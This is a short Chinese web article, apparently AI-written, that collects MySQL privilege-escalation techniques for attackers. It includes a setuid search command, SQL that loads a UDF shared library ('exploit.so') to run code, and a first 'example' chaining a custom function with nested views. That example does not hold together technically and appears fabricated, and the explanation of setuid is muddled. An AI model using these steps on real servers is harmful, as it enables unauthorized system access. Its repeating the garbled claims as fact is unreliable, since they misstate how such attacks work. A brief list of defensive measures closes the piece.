下面我将为您详细讲解“Mysql提权的多种姿势汇总”的完整攻略。
Mysql提权的多种姿势汇总
0x01 前言
本文主要介绍一些Mysql提权的方法,因此需要有一定的Mysql和Linux基础知识。
0x02 方法
- Mysql Root Privilege Escalation:http://www.mysqlab.net/knowledge/kb/detail/topic/Exploit/id/7777
这个方法漏洞仅限于MySQL 5.5-5.6.22版本中存在,攻击者需要首先获取MySQL的login/create user权限,然后通过增加user表的新行来提升权限,最终达到root权限。
- 借助SO搜寻setuid:
mysql@localhost:/$ find / -perm -4000 2>/dev/null
如果找到任何一个setuid例程,则你可以在运行此例程的任何命令之前运行文件。
0x03 实例
实例1:提权至root用户
攻击者成功获取MySQL登录权限,并执行下列命令:
CREATE FUNCTION systimestamp RETURNS string SONAME 'mysqlfunc.so';
CREATE VIEW v1 AS SELECT * FROM mysql.func WHERE name = 'systimestamp';
CREATE ALGORITHM=TEMPTABLE VIEW v2 AS SELECT * FROM v1 WHERE systimestamp();
SELECT * FROM v2 LIMIT 1\G
然后攻击者可以获得root用户的系统权限。
实例2:注入UDF(用户自定义函数)
攻击者成功获取MySQL root权限,并输入以下命令:
CREATE FUNCTION exploit RETURNS INTEGER SONAME "exploit.so";
SELECT exploit();
这个命令将加载/exploit.so动态链接库,并运行其中的exploit函数,从而导致系统提权。
0x04 结论
这里介绍了两种基本的Mysql提权姿势,其中第一种漏洞针对范围相对较窄。因此,建议进行一些额外的措施来防止此类攻击,例如禁止用户自定义函数、限制MySQL用户的最小权限、限制Shell的使用、禁止复杂的查询、数据加密等。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Mysql提权的多种姿势汇总 - Python技术站